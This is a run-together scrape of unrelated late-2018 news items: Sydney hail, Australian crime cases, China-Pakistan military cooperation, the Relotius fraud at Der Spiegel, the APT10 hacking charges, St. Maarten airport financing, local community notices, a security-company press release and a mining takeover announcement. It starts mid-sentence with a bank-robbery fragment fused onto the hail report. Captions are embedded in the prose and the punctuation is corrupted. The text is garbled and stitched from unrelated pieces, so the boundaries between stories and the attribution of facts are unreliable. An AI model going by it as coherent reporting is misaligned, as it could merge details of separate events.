handed threatening notes to bank tellers before stealing cash at eight banking organisations in Sydney's CBD and Chatswood between June 1977 and March 1978. After days of severe thunderstorm warnings from the weather bureau indicating the risk not just of large but "giant" hail, the heavens have delivered in an intense downpour on Thursday afternoon. Hailstones the size and shape of "poached eggs" smashed their way through Sydney's eastern, inner and western suburbs when a succession of storms hit the city in the late afternoon. A person negotiates a flooded gutter in Pyrmont during the afternoon storm. Credit:Ryan Stuart Weather bureau meteorologist Ash Lange said there had been reports of 2cm hail in Petersham, 3.5cm hail in Summer Hill and 5cm hail in Berowra between 4.30pm and 5pm. But on social media, the massive chunks of ice could be found all across the city. A woman, charged with the murder of her twin sister's four-month-old girl who died in a Queensland hospital, will return to court next year. Sandra Leigh Houston, 35, from Logan, on Thursday was remanded in custody to appear on charges of murder on April 10, for a committal callover in Beenleigh Magistrates Court. Solicitor Robert Burns asked for all recorded interviews be supplied to his office so he can take an urgent bail application to the Queensland Supreme Court. The baby girl sustained her injuries in Houston's Waterford West home, court documents reveal. She was taken to Logan Hospital with life-threatening injuries last month before being transferred in a critical condition to Queensland Children's Hospital, where she died on November 20. A man has been rushed to hospital after he was shot in the leg, the third violent incident on the same South Melbourne street in a week. In the early hours of Friday, a man in his 40s was inside an apartment block on Park Street when he sustained a single gunshot wound to the leg and was taken to The Alfred hospital with non-life threatening injuries. Police and emergency services were called to the apartment block about 2.30am and are investigating the exact circumstances surrounding the incident. It comes after a young man was stabbed in a commission housing tower on the same street on Wednesday afternoon. The tale always starts the same. A Good Samaritan performs a random act of kindness for a stranger who in return warns them of the lurking danger of an impending terrorist attack. A car was engulfed in flames at Chadstone Shopping Centre on Thursday amid the Christmas rush. Credit:Nine News In the days before Christmas, the urban myth, which has travelled the world, reared its head once again in Australia setting Reddit abuzz. As the story goes, a teenage girl helps a Muslim woman who has dropped her purse at Chadstone Shopping Centre. NSW is losing residents at the fastest rate in a decade, with an exodus to Victoria set to make Melbourne the country's most populous city by the 2030s. The figures come amid calls from NSW Premier Gladys Berejiklian to slash the state's migrant intake in half and raises questions about the state's ability to hold onto its residents while still attracting new ones. Victoria, which is growing at the fastest rate in the country, has urged more migrants to fill up a state that has lagged its northern neighbour since federation, hurling the east coast into another decade of economic competition over jobs, infrastructure and house prices. Daniel Andrews and Gladys Berejiklian. Credit:AAP More than 5000 residents left NSW in the three months to June, with 21,000 leaving in 2017-18 the fastest rate since 2008. Most of them went to Victoria, which added 14,000 people. A key confidant of Prime Minister Scott Morrison offered Sutherland Shire councillor Kent Johns a $350,000 party job in an attempt to head off a preselection showdown with sitting Liberal MP Craig Kelly. Scott Briggs repeatedly called on Cr Johns to drop out of the preselection race for the federal seat of Hughes, adding Mr Kelly would move to the crossbench and "bring down the government" if the challenge proceeded, the Herald understands. Liberal MP Craig Kelly was saved from a humiliating preselection defeat by the PM's intervention. Credit:Alex Ellinghausen Mr Briggs - a Cronulla-Sutherland Sharks board director and a president of the federal electorate conference for Mr Morrison's seat of Cook - made the approaches as early as October. He suggested that the $350,000 job with the Liberals' federal director would be available if Cr Johns pulled out of the preselection contest with Mr Kelly. The six-month role, Cr Johns was assured, had been approved by the Prime Minister and other key party figures. The Australian government has admitted that two out of its three key performance criteria are below expectations on aid to Myanmar as its military funding to that nation's controversial army comes under renewed attack. In its Myanmar Aid Program Performance Report 2018, the Department of Foreign Affairs and Trade said government spending on education, rural livelihoods and humanitarian assistance was on track and had met or exceeded performance targets in 2017-18. Rohingya refugee Yasmin Akhter, 13, in Kutupalong Camp in Coxs Bazar in July. Credit:Kate Geraghty However, it conceded that in the areas of promoting peace and stability and inclusive economic growth, successes were limited. Both of these areas needed to be reviewed, the report said, with lack of progress in promoting gender equity of particular concern. A freedom of information request revealed that the Department of Defence had set aside $390,000 last year for "peacekeeping training, English language training and officer education and professionalisation" with the Myanmar military, known as the Tatmadaw. The military is in the spotlight over its involvement with the Rohingyan atrocities. Defence said it does not fund any direct military operations. Two former Victorian premiers have called for two Liberal powerbrokers to quit for swapping racist and homophobic insults about other party members. Federal Victorian MP Kelly O'Dwyer, who is part of the Liberal Party's more progressive faction, said she was "pretty disgusted" by the messages and those involved needed to "examine their next steps". "I don't think that those comments have any place in a modern Liberal Party," she said. "I think that those individuals who've been named need to examine their behaviour and need to examine their next steps." When asked if the pair should resign, Ms O'Dwyer said Treasurer Josh Frydenberg would have something to say at the party's administrative meeting on Thursday night. A young man has been stabbed on the same level of a commission housing tower and just metres away from where a woman died of injuries three days ago. Paramedics were called to Park Towers in Park Street, South Melbourne just after 2pm on Wednesday. A resident who wished to remain anonymous said the victim was in a great deal of pain. Police outside the apartment block on Park Street on Sunday morning. Credit:Rachael Dexter The man in his 20s was taken to The Alfred in a stable condition with lower body injuries but has since been discharged, Ambulance Victoria said. For the most part, Pakistan has eagerly turned more toward China as the chill with the US has deepened. Some Pakistani officials are growing concerned about losing sovereignty to their deep-pocketed Asian ally, but the host of ways the two countries are now bound together may leave Pakistan with little choice but to go along. Even before the revelation of the new Chinese-Pakistani military co-operation, some of China's biggest projects in Pakistan had clear strategic implications. China is deeply invested in the Pakistani port of Gwadar. A Chinese-built seaport and special economic zone in the town of Gwadar is rooted in trade, giving China a quicker route to get goods to the Arabian Sea. But it also gives Beijing a strategic card to play against India and the US if tensions worsen to the point of naval blockades as the two powers increasingly confront each other at sea. A less scrutinised component of Belt and Road is the central role Pakistan plays in China's Beidou satellite navigation system. Pakistan is the only other country that has been granted access to the system's military service, allowing more precise guidance for missiles, ships and aircraft. The co-operation is meant to be a blueprint for Beidou's expansion to other Belt and Road nations, however, ostensibly ending its clients' reliance on the US military-run GPS network that Chinese officials fear is monitored and manipulated by the US. In Pakistan, China has found an amenable ally with much to recommend it: shared borders and a long history of co-operation; a hedge in South Asia against India; a large market for arms sales and trade with potential for growth and a wealth of natural resources. Pakistan is playing an increasing role in China's space program. Credit:AP Now, China is also finding a better showcase for its security and surveillance technology in a place once defined by its close military relationship with the United States. "The focus of Belt and Road is on roads and bridges and ports, because those are the concrete construction projects that people can easily see," said Priscilla Moriuchi, director of strategic threat development at Recorded Future, a cyberthreat intelligence monitoring company based in Massachusetts. "But it's the technologies of the future and technologies of future security systems that could be the biggest security threat in the Belt and Road project." An asset on the sea The tightening China-Pakistan security alliance has gained momentum on a long road to the Arabian Sea. In 2015, under Belt and Road, China took a nascent port in Gwadar and supercharged the project with an estimated $US800 million development plan that included a large special economic zone for Chinese companies. Linking the port to western China would be a new 2000-mile network of highways and rails through the most forbidding stretch of Pakistan: Baluchistan province, a resource-rich region plagued by militancy. The public vision for the project was that it would allow Chinese goods to bypass much longer and more expensive shipping routes through the Indian Ocean and avoid the territorial waters of several US allies in Asia. From the beginning, though, key details of the project were kept from the public and politicians, officials say, including the terms of its loan structure and the length of the lease, more than 40 years, that a Chinese state-owned company secured to operate the port. Chinese money has helped build new roads across Pakistan. Credit:AP If there was concern within Pakistan about the hidden costs of the China-Pakistan Economic Corridor, also known as CPEC, there was growing suspicion abroad about a hidden military aspect, as well. In recent years, Chinese state-owned companies have built or begun constructing seaports at strategic spots around the Indian Ocean, including places in Sri Lanka, Bangladesh and Malaysia. Chinese officials insisted that the ports would not be militarised. But analysts began wondering whether China's endgame was to muscle its way onto coastal territories that could become prime military assets much as it did when it started militarising contested islands in the South China Sea. Then, Sri Lanka, unable to repay its ballooning debt with China, handed over the Chinese-built port at Hambantota in a 99-year lease agreement last year. Indian and US officials expressed a growing conviction that taking control of the port had been China's intent all along. A Chinese container ship docks at the port of Gwadar. Credit:Anadolu Agency Military analysts predict that China could use Gwadar to expand the naval footprint of its attack submarines, after agreeing in 2015 to sell eight submarines to Pakistan in a deal worth up to $US6 billion. China could use the equipment it sells to refuel its own submarines, extending its navy's global reach. With CPEC under fresh scrutiny, officials in recent weeks have contended that Pakistan has a debt problem but not a Chinese debt problem. In October, the country's central bank revealed an overall debt and liability burden of about $US215 billion, with $US95 billion externally held. With nearly half of CPEC's projects completed in terms of worth Pakistan currently owes China $US23 billion. But the country stands to owe $US62 billion to China before interest balloons the figure to some $US90 billion under the plan for Belt and Road's expansion there in coming years. Pakistani fighter jets perform an aerobatic stunt during an air show this year. Credit:AP Fighter jets and satellites According to the undisclosed proposal drawn up by the Pakistani air force and Chinese officials at the start of the year, a special economic zone under CPEC would be created in Pakistan to produce a new generation of fighter jets. For the first time, navigation systems, radar systems and onboard weapons would be built jointly by the countries at factories in Pakistan. The proposal, confirmed by officials at the Ministry of Planning and Development, would expand China and Pakistan's current co-operation on the JF-17 fighter jet, which is assembled at Pakistan's military-run Kamra Aeronautical Complex in the Punjab. The Chinese-designed jets have given Pakistan an alternative to the US-built F-16 fighters. For China, Pakistan could become a showcase for other countries seeking to shift their militaries away from US equipment and toward Chinese arms, Western diplomats said. And because China is not averse to selling such advanced weaponry as ballistic missiles which the US will not sell to allies such as Saudi Arabia the deal with Pakistan could be a stepping stone to a bigger market for Chinese weapons in the Muslim world. For years, some of the most important military co-ordination between China and Pakistan has been going on in space. China's BeiDou navigation satellite system is an alternative to GPS. Just months before Beijing unveiled the Belt and Road project in 2013, it signed an agreement with Pakistan to build a network of satellite stations to establish the Beidou Navigation System as an alternative to the American GPS network. For the Pentagon, China's satellite launches are ominous. Berlin: An award-winning journalist who worked for Der Spiegel, one of Germany's leading news outlets, has left the weekly magazine after evidence emerged that he committed journalistic fraud "on a grand scale" over a number of years, the publication said on Wednesday. Spiegel published a lengthy report on its website after conducting an initial internal probe of the work of Claas Relotius, 33, a staff writer known for vivid investigative stories. The magazine said Relotius resigned on Monday after admitting some of his articles included made-up material from interviews that never happened. Claas Hendrik Relotius, an award-winning German journalist, resigned from Der Spiegel because of "journalistic fraud". Credit:Facebook The Hamburg-based magazine said Relotius contributed almost 60 articles published in print or online since 2011, first as a freelance writer before being hired full-time last year. The reporter previously worked for other German and Swiss publications and won numerous awards, including CNN Journalist of the Year in 2014. Spiegel said Relotius acknowledged fabricating parts of at least 14 stories, including a piece about an American woman who he said volunteered to witness the executions of death row inmates, such as one in Texas at the beginning of the year. Rabat, Morocco: The lone suspect arrested in the killing of two Scandinavian tourists in Morocco's Atlas Mountains is connected to a terrorist group, Moroccan authorities say. The women, from Denmark and Norway, were discovered stabbed in the neck on Monday by other tourists who alerted police, according to national media. Hiking in the area was temporarily suspended. A forensic team attends the site where two Scandinavian women were found near Imlil in the High Atlas mountains, Morocco. Credit:2M/AP The killings have shocked Morocco, a popular tourist destination where such attacks on foreigners are extremely rare. The Rabat public prosecutor's office said in a statement on Wednesday, local time, that the only captured suspect had affiliations to a terrorist group, without naming the group. Local media named the group as Islamic State. Washington: Canada recently passed legislation that says pretending to be a witch to dupe people into paying, a seemingly unusual crime, is no longer a crime. Police in Timmins, Ontario have charged Tiffany Butch with "pretending to practise witchcraft." Credit:AP Critics say criminalising witchcraft-related activities is not only archaic but also redundant because fraud, in general, is already a crime. The witchcraft law yielded a paltry number of prosecutions, and offences rarely resulted in convictions. So Canada voted to remove the law from the books. But Parliament did not take action soon enough for Tiffany Butch, who goes by the alias "the white witch of the north." Authorities have charged Butch, 33, with pretending to practise witchcraft over an incident that allegedly occurred in October, weeks before the law was scrapped last week. In a significant diplomatic gesture that makes overt what Australia and other western nations have long complained of privately, Foreign Minister Marise Payne and Home Affairs Peter Dutton joined counterparts in the United States and Britain to express serious concern over what they call a global campaign of cyber-enabled commercial intellectual property theft. China has denied the claims. Echoing Mr MacGibbon's remarks, a national security official told The Age and The Sydney Morning Herald: "These MSPs have thousands of clients. "This is potentially the biggest hack the West has ever seen. There is still a lot we don't know about the scale of the compromise because of the sophistication of the hack. But if you are a Western MSP you are likely to be caught up." US prosecutors announced early on Friday they were charging two hackers, Zhu Hua and Zhang Shilong, who they linked to the Chinese Ministry of State Security's group known as APT10. They are charged over the alleged industrial-scale theft of intellectual property and personal data from businesses and government agencies to secure competitive advantages for China. FBI director Christopher Wray said China had committed brazen, persistent theft and needed to be held accountable. Former prime minister Malcolm Turnbull and Premier Li Keqiang of China agreed not to steal commercial secrets. Credit:Andrew Meares "No country poses a broader, more severe, and long-term threat to our nation's economy and cyber infrastructure than China," Mr Wray said. "China's goal, simply put, is to replace the US as the world's leading superpower, and they're using illegal methods to get there." The indictments were immediately welcomed by the Australian government, which called on China to stop seeking a competitive advantage by stealing trade secrets and confidential business information from other nations. Loading Mr MacGibbon said the theft had disadvantaged Australian businesses and their staff. "And that essentially takes food from the people of Australia," Mr MacGibbon told the ABC. "It helps them compete in a way that we can't." China's Foreign Ministry said on Friday it resolutely opposed "slanderous" accusations criticising China for economic espionage, and urged Washington to withdraw its accusations. The United States should also withdraw charges against two Chinese citizens, the ministry said, adding that China had never participated in or supported any stealing of commercial secrets and had lodged "stern representations" with Washington. Loading "We urge the US side to immediately correct its erroneous actions and cease its slanderous smears relating to internet security," it said, adding that it would take necessary measures to safeguard its own cyber security and interests. The decision by governments in the US and Australia to effectively name and shame Beijing over the industrial espionage marks a major departure from the usual practice of not attributing hacking behaviour, and reflects the intense frustration of Canberra at China's persistent efforts to steal commercial secrets. "China is the real concern in the cyber area, and the West is now calling them out," said the Australian official, who cannot be named because of their position. "They will want to continue stealing. We need to make it harder for them." It is understood that the MSPs did not always respond to warnings as robustly as authorities would have liked. The providers have been notified by intelligence services of the hack. According to the official, some have resisted telling their own clients about the problem. A poster displayed during a news conference at the Department of Justice in Washington shows two Chinese citizens suspected of being with the group APT 10 carrying out an extensive hacking campaign to steal data from US companies. Credit:AP A statement from SAP said they were "aware that SAP, among others, has been identified as a target of an attack. PHILIPSBURG:--- Minister of TEATT Stuart Johnson reacted to the various articles that state that the Dutch Government and the European Investment Bank wanted to finance the reconstruction of PJIAE to the tune of $100M and the government of St. Maarten did not show interest. Johnson said in a letter to the media that the statements made could be considered malicious since it coincided with the celebration of the 75th anniversary of PJIAE. Further to that, the Minister of TEATT confirmed the conditions set forth by the Dutch Government for the refinancing. Below is the contents of the letter sent out by Minister Johnson. Today I address you on the critical matter of the Airport's ongoing work to acquire financing for its reconstruction project. As the Shareholder Representative for the Princess Juliana International Airport (PJIA) and Minister of Tourism, it is ultimately my responsibility to ensure that the Airport is rebuilt and that the Government of St. Maarten's plans to complete the improvements to the airport such as the FBO Facility, US Pre-Clearance, and the Fuel Farm are finalized. Having said this, I have taken note of the "concerns" expressed in certain quarters about the alleged offer of the Dutch government and the European Investment Bank (Effi) to finance the reconstruction of PJIA in the amount of US $100 million. I have also taken note of the claim that the St. Maarten government is apparently not interested in accepting this offer. This is a complete misrepresentation of the facts. In fact, it can even be considered malicious given its timing to coincide with the kick off of the 75th Anniversary Celebrations of the SXM Airport and the migration back into the Terminal Building of arrival and departure operations for the first time since Hurricanes Irma and Maria. In the interest of full disclosure of truth and facts, I wish to inform you that discussions have been ongoing about a US$50 million loan from the European Investment Bank, EIB to be matched by a US$50 million grant from the Trust Fund. To date, the St. Maarten government, however, is still waiting for the actual "Terms and Conditions" of this proposed financing and the proposals from other potential financiers to be spelt out in writing. Until this is done, I as Shareholder representative and the Council of Ministers as the representatives of the people of St. Maarten cannot naturally take any decision. We must also take into account that the St. Maarten government cannot contract any loans, while under financial supervision, without the explicit and written consent of the Dutch. The conditions that the Dutch and World Bank have so far mentioned in discussions include: A virtual takeover of the Supervisory Board of Directors of PJIAE A takeover of the Management Board of the airport The criteria for requiring local company participation in bids for work at the airport is not possible based on World Bank and EIB standards. As a responsible Government, we would like to have these conditions in writing. We welcome all the assistance we can get, but under no guise should help become a hostile takeover of our most valuable strategic asset. Let me state categorically as Shareholder, that the Government of St. Maarten itself is not in negotiations with other potential financiers for the reconstruction of the airport. I must also stress that nobody, and Imean nobody, can be more interested, more concerned and more eager to get our award-winning Princess Juliana International Airport back to its glory days, before Hurricanes Irma and Maria, as quickly as possible as I am as Minister of Tourism. That is why we celebrated the return into the Terminal Building as a significant step on that journey to full recovery and reconstruction. We appreciate the eagerness to give St. Maarten this money so quickly. However, our people would have enjoyed the same speed and determination in getting roofs over their heads months ago. It has been over a year since our island was devastated by hurricane Irma and if a Loan or Grant from the Trust Fund can be made available within such a short period for the Airport, then there should be no excuse for it not to be made available for building the much needed homes for our people. We look forward to real collaboration with any lending institution who is willing to work in the interest of moving St. Maarten's economy and its people forward. ~ Is the Minister of VSA looking for his own kickback with New Hospital Project?~ PHILIPSBURG:--- A news article published on March 13th, 2018 states that the President of Condotte Construction Company Duccio Astaldi were among six persons that were arrested over suspected kickbacks in the construction of the motorway between Siracusa and Gela in Sicily. The report further states that Astaldi resigned from the company after he was informed of his arrests. The six persons are believed to be involved in the payment of a huge kickback for the construction of three lots on motorway. Ever since SMN News broke the story that INSO and its parent company Ferfina S.P.A filed for bankruptcy in Italy which sparked Members of Parliament begin investigating the financial standing of INSO, more questions about INSO and its parent companies and or associates are unfolding daily. Most of the information gathered is available online yet the Minister of VSA chose to continue working with INSO since his construction company Atlas will be working alongside INSO. It is clear that the Minister is not working in St. Maartens best interest, instead he is busy gathering contracts while in government for his construction company. The article on the arrest of Condotte president can be found below. Click here for Condotte President Arrest. COLE BAY:--- On Monday, December 17th, the Rotary Club of St. Martin Sunset held its final general meeting for 2018. During the meeting, President Jaida Nisbett presented Amanda Wever and Lotty Peterson of the Diabetes Foundation of St. Maarten (DFS) with a monetary donation toward the purchase of a Body Mass Index (BMI) machine. In November, DFS contacted the Rotary Club of St. Martin Sunset seeking assistance to purchase a much needed BMI machine to better assist in the weighing and documenting of patients information. Peterson and Lotty expressed their gratitude to the club for their generous contribution as it will expand their reach in combating the diabetes epidemic on the island. The DFS also gave a short presentation on the health risks associated with the consumption of various foods. Members of the Rotary Club of St. Martin Sunset were given the opportunity to have the blood pressure and glucose tested at the meeting. Also present at the clubs meeting, were Mr. Bart van der Meijden and Mr. Cyrille Brooks of the Mental Health Foundation (MHF) who gave a presentation on the state of Mental Health on the island, the role of the MHF in our community as well as the programs and services provided by the foundation. Mr. Van Der Meijden also discussed the challenges that the MHF are currently faced with as well as some of the future plans of MHF. During the meeting, the various committees Chair discussed upcoming projects for 2019. Fellow Rotarians Jade Maccow, Anjolie Carty and Norma Rombley were presented with their official membership pin and certificate by District Governor Nominee Designate, DGND Louis Wever, and President Jaida. DGND Wever was also presented with a certificate of appreciation for his contributions to the club as the official aide to Rotary International President, Barry Rassin, during his visit to the island. The Rotary Club of St. Martin Sunset would like to express its gratitude to the representatives of the Mental Health Foundation and the Diabetes Foundation of St. Maarten for their insightful presentations and for the continued efforts in shaping our community. WILLEMSTAD:--- The Government of Curacao and the U.S. Consulate General Curacao are excited to announce that Curacao will host the Road to GES Caribbean event on March 14-15, 2019 in Willemstad, Curacao. The Road to GES events are a series of signature events in anticipation to Global Entrepreneurship Summit 2019, which is scheduled to be held in The Hague, the Netherlands on June 4-5, 2019. The event is organized by entrepreneurs for entrepreneurs, supported by the Netherlands, U.S., and Curacao governments. The Road to GES event on Curacao will host round tables where the theme Inclusive finance will be discussed. U.S., Dutch, and Caribbean experts and entrepreneurs will join forces in finance to strengthen the economic ties between the Caribbean, United States of America, and The Netherlands, and to boost trade development. The event aims to bring together an international audience of entrepreneurs, business executives, influencers, innovators, governmental officials, and civil society pioneers. In addition, the strength of U.S., Dutch and Caribbean businesses and governments will be harnessed by kicking off a hackathon themed Resilient economy. The aim of this hackathon is to roll out Smart Nation Innovation and to give a positive impulse to the startup ecosystem (Energy, Agriculture, Connectivity, Health, Water) throughout the Caribbean. The idea for a Caribbean event with regard to the GES 2019, originated during the visit of the U.S. Ambassador to The Netherlands Pete Hoekstra to Curacao this summer. Prime minister of Curacao Eugene Rhuggenaath considers the event as a confirmation of the longstanding positive relationship with the U.S. and hopes this will result in Kingdom wide productive business relations between the countries and the U.S. Although the Road to GES2019 Caribbean is an event that takes place on Curacao, the aim is to engage entrepreneurs located on all Dutch Caribbean islands, and the ideal is to use the GES platform to share thoughts and initiatives with entrepreneurs in the entire Caribbean and from all over the world. Go to www.ges2019caribbean.org for the full program and tickets. ~ St. Maarten medical students currently specializing to return in time for new hospital opening ~ CAY HILL:--- St. Maarten Medical Center (SMMC) continued their ongoing recruitment drive when they recently attended the Care Caribbean event in Holland with the aim to recruit St. Maarten students currently engaged in their medical studies abroad. The Care Caribbean event seeks to better connect Dutch Caribbean health care institutions and medical students/young health care professionals from the Dutch Caribbean currently residing in Holland. The event was well attended by both groups and SMMC also was featured as one of keynote speakers with Dr. Felix Holiday, SMMCs Medical Director, delivering the presentation. Dr. Holidays presentation mainly focused on the existing corporation between the Dutch Caribbean islands and the tremendous support that St. Maarten received from Aruba, Bonaire, Curacao and Holland post-Irma. Dr. Holiday specifically addressed the young medical professionals present and invited them to come back home. As a follow-up goal of this event, SMMC will keep expanding its network of medical / health care students from St. Maarten to ensure a higher percentage return home after graduation. The SMMC delegation, consisting of Dr. Felix Holiday and Hester Versleyen who is responsible for SMMCs strategic partnerships and recruitment of medical specialists, met with several medical students hailing from St. Maarten such as Destiny Gibbes, Tishelle Daniel, Naeem Juliana, Kim Verschueren, and Shacara Blake among others. Discussed with the students was their medical field of specialization so that they can fill up critical vacancies at SMMC - some due to current specialists set to retire in the coming years - in time for when the new hospital opens up. Medical Doctor and Psychiatry student Naeem Juliana said: The highlight of the event for me, was hearing Dr. Holidays speech. He combined an honest assessment of the islands challenges with an optimistic look at our future. It created an atmosphere of excited curiosity in the room, and I hope that can materialize into many young Antillean doctors coming to St. Maarten in the future. According to Medical Doctor Tishelle Daniel: Speaking to representatives of SMMC felt reassuring, because I now have the feeling that 'home' is waiting for me. Although I have thought about my future at SMMC when I was interning there, discussing the opportunities now as a medical professional felt surreal. Medical Doctor, Kim Verschueren stated: It was great being surrounded by fellow St. Maarteners with similar ambitions wanting to contribute to the health care system of our island (from a distance), and that actually felt possible. Getting together, exchanging ideas and creating possibilities with fellow St. Maarteners, keeps us engaged and encourages us to get through our specializations, gain experience and return to the island someday. St. Maarten medical students and young professionals abroad (and on St. Maarten) are encouraged to get in contact with SMMC in order for them to be kept abreast of any current and future vacancies. As SMMC transitions to the St. Maarten General Hospital with the aim to provide quality care, close to home, a total of 100 additional Full Time Employees (FTEs) will be needed over the next 3 years. Interested persons can send their resume and motivation letter to This email address is being protected from spambots. You need JavaScript enabled to view it. QEI Security Has Released Their Checklist for Security System Installations QEI Security, the Charleston, SC based home security and automation specialists, have published the 10 things to look for in a home security system. The company is one of the largest security specialists in South Carolina, and prides itself on its high-quality service. More information can be found at: https://www.qeisecurity.com/2018/12/17/top-10-things-to-look-for-in-a-home-security-system/ As a leading provider of home security systems in the Charleston area, QEI Security is known for its excellent service. The company provides everything from basic home security with 24/7 monitoring through to whole house audio systems. From a very affordable cost, customers can control lighting, locks, thermostats, security cameras, and more all from the comfort of their home, or when they\-\-re out and about through their smartphone. QEI Security explains that, among the things to look for in an ideal home security system, customers should ensure that it is monitored by a station that has a 5-diamond rating from The Monitoring Association. Its important to ensure that the system can be controlled from one app, giving the user the maximum in comfort and convenience. Using this a app, the customer will be able to control all of their security and home automation devices. Another thing to consider is whether or not the system is password protected, with no outside access. This helps to ensure the maximum protection. Among the other things to look out for are systems that have a higher level of security when using voice control, and systems that offer notifications for users. This means home owners can get notified when a door is opened, or when there is a power outage. Other important factors to consider are whether or not the system can allow connected devices to work off each other, and if the system can be customized to fit the lifestyle of the homeowner. Anyone wanting to create a smart home with automated security features, lighting, and control can get in touch with QEI Security. Full details can be found on the URL above and interested parties can get in touch for a free consultation on 1.844.734.7233. Appeal filed by AMCU against the South African Competition Tribunal\-\-s approval of the Transaction Posted by Publisher Internet Sibanye-Stillwater (Tickers JSE: SGL and NYSE: SBGL http://www.commodity-tv.net/c/search_adv/?v=298294) and Lonmin plc (?Lonmin?) (Tickers JSE: Lon and LSE: LMI) note that an appeal (the ?Appeal?) of the South African Competition Tribunal?s decision of 21 November 2018, approving the acquisition of Lonmin by Sibanye-Stillwater (the \Transaction\) subject to certain specific conditions, has been filed at the Competition Appeal Court by the Association of Mineworkers and Construction Union (?AMCU?). Sibanye-Stillwater and Lonmin intend to request an urgent hearing from the Competition Appeals Court in relation to? AMCU?s appeal. Sibanye-Stillwater and Lonmin remain fully committed to the Transaction. Lonmin continues to believe that the Transaction represents a comprehensive solution to the challenges facing Lonmin and offers Lonmin and its stakeholders a more certain future than Lonmin could achieve by any alternative route. The combination of Sibanye-Stillwater and Lonmin will create a larger, more resilient company, with greater geographical and commodity diversification, which is better able to withstand short-term commodity price and foreign exchange volatility. The Transaction remains subject to the satisfaction or (where applicable) waiver of the conditions set out in the announcement of the Transaction by Lonmin and Sibanye-Stillwater on 14 December 2017. Such conditions include, amongst others, the approvals of Lonmin and Sibanye-Stillwater shareholders and the courts of England and Wales. For more information on the proposed acquisition of Lonmin by Sibanye-Stillwater, please refer to https://www.sibanyestillwater.com/investors/transactions/lonmin. Sibanye-Stillwater Investor relations contact: James Wellsted Head of Investor Relations Email: ir@sibanyestillwater.com +27 (0) 83 453 4014 In Europe: Swiss Resource Capital AG Jochen Staiger info@resource-capital.ch www.resource-capital.ch Lonmin Investor relations contact: Tanya Chikanza Email: ir@lonmin.com Tel: +27(0)83 391 2859 Sponsor: J.P. Morgan Equities South Africa (Proprietary) Limited FORWARD LOOKING STATEMENTS This announcement contains forward-looking statements within the meaning of the ?safe harbour? provisions of the United States Private Securities Litigation Reform Act of 1995. All statements other than statements of historical fact included in this announcement may be forward-looking statements. Forward-looking statements may be identified by the use of words such as ?will?, ?would?, ?expect?, ?may?, ?could? ?believe?, ?anticipate?, ?target?, ?estimate? and words of similar meaning. These forward-looking statements, including among others, those relating to our future business prospects, financial positions, business strategies, plans and objectives of management for future operations and the anticipated benefits and synergies of transactions, are necessarily estimates reflecting the best judgement of our senior management. Readers are cautioned not to place undue reliance on such statements. Forward looking statements involve a number of known and unknown risks, uncertainties and other factors, many of which are difficult to predict and generally beyond the control of Sibanye-Stillwater that could cause Sibanye-Stillwater?s actual results and outcomes to be materially different from historical results or from any future results expressed or implied by such forward-looking statements. As a consequence, these forward-looking statements should be considered in light of various important factors, including those set forth in the Group?s Annual Integrated Report and Annual Financial Report, published on 30 March 2018, and the Group?s Annual Report on Form 20-F filed by Sibanye-Stillwater with the Securities and Exchange Commission on 2 April 2018 (SEC File no. 001-35785). These forward-looking statements speak only as of the date of this announcement. Sibanye-Stillwater expressly disclaims any obligation or undertaking to update or revise these forward-looking statements, save as required by applicable law. Additional Information This announcement is for information purposes only. It is not intended to and does not constitute, or form part of, an offer, invitation or the solicitation of an offer to purchase, otherwise acquire, subscribe for, sell or otherwise dispose of any securities, or the solicitation of any vote or approval in any jurisdiction, pursuant to the Transaction or otherwise nor will there be any sale, issuance or transfer of securities in any jurisdiction in contravention of applicable law. The release, publication or distribution of this announcement in certain jurisdictions may be restricted by law. Persons who are not resident in South Africa or the United Kingdom or who are subject to the laws of other jurisdictions should inform themselves of, and observe, any applicable requirements. Any failure to comply with applicable requirements may constitute a violation of the securities law of any such jurisdiction. Disclosure requirements of the Takeover Code Under Rule 8.3(a) of the Takeover Code (Code), any person who is interested in 1% or more of any class of relevant securities of an offeree company or of any securities exchange offeror (being any offeror other than an offeror in respect of which it has been announced that its offer is, or is likely to be, solely in cash) must make an Opening Position Disclosure following the commencement of the offer period and, if later, following the announcement in which any securities exchange offeror is first identified. An Opening Position Disclosure must contain details of the person?s interests and short positions in, and rights to subscribe for, any relevant securities of each of (i) the offeree company and (ii) any securities exchange offeror(s). An Opening Position Disclosure by a person to whom Rule 8.3(a) applies must be made by no later than 3.30 pm (London time) on the 10th business day following the commencement of the offer period and, if appropriate, by no later than 3.30 pm (London time) on the 10th business day following the announcement in which any securities exchange offeror is first identified. Relevant persons who deal in the relevant securities of the offeree company or of a securities exchange offeror prior to the deadline for making an Opening Position Disclosure must instead make a Dealing Disclosure. Under Rule 8.3(b) of the Code, any person who is, or becomes, interested in 1% or more of any class of relevant securities of the offeree company or of any securities exchange offeror must make a Dealing Disclosure if the person deals in any relevant securities of the offeree company or of any securities exchange offeror. A Dealing Disclosure must contain details of the dealing concerned and of the person?s interests and short positions in, and rights to subscribe for, any relevant securities of each of (i) the offeree company and (ii) any securities exchange offeror, save to the extent that these details have previously been disclosed under Rule 8. A Dealing Disclosure by a person to whom Rule 8.3(b) applies must be made by no later than 3.30 pm (London time) on the business day following the date of the relevant dealing. If two or more persons act together pursuant to an agreement or understanding, whether formal or informal, to acquire or control an interest in relevant securities of an offeree company or a securities exchange offeror, they will be deemed to be a single person for the purpose of Rule 8.3. Opening Position Disclosures must also be made by the offeree company and by any offeror and Dealing Disclosures must also be made by the offeree company, by any offeror and by any persons acting in concert with any of them (see Rules 8.1, 8.2 and 8.4). Details of the offeree and offeror companies in respect of whose relevant securities Opening Position Disclosures and Dealing Disclosures must be made can be found in the Disclosure Table on the Takeover Panel?s website at http://www.thetakeoverpanel.org.uk, including details of the number of relevant securities in issue, when the offer period commenced and when any offeror was first identified. If you are in any doubt as to whether you are required to make an Opening Position Disclosure or a Dealing Disclosure, you should contact the Takeover Panel?s Market Surveillance Unit on +44 (0)20 7638 0129.] Publication on Website A copy of this announcement will be made available, subject to certain restrictions relating to persons resident in restricted jurisdictions, at Sibanye-Stillwater?s website on https://www.sibanyestillwater.com/investors/transactions/lonmin by no later than 12 noon (London time) on the business day after the date of this announcement. For the avoidance of doubt, the contents of this website is not incorporated into and does not form part of this announcement. This and other paintings by John Charles will be on display during January and February at the Waccamaw Neck Library. The bright-green, naked-eye comet 46P/Wirtanen looms above the horizon while meteors appear to rain down on the Pigeon Point Lighthouse in Pescadero, California, during the Geminid meteor shower of 2018. The Geminid meteor shower of 2018 has lived up to its reputation for being the most spectacular meteor shower of the year, and skywatchers around the world have captured some amazing views of the celestial firework display. During the meteor shower's peak on Dec. 13-14, 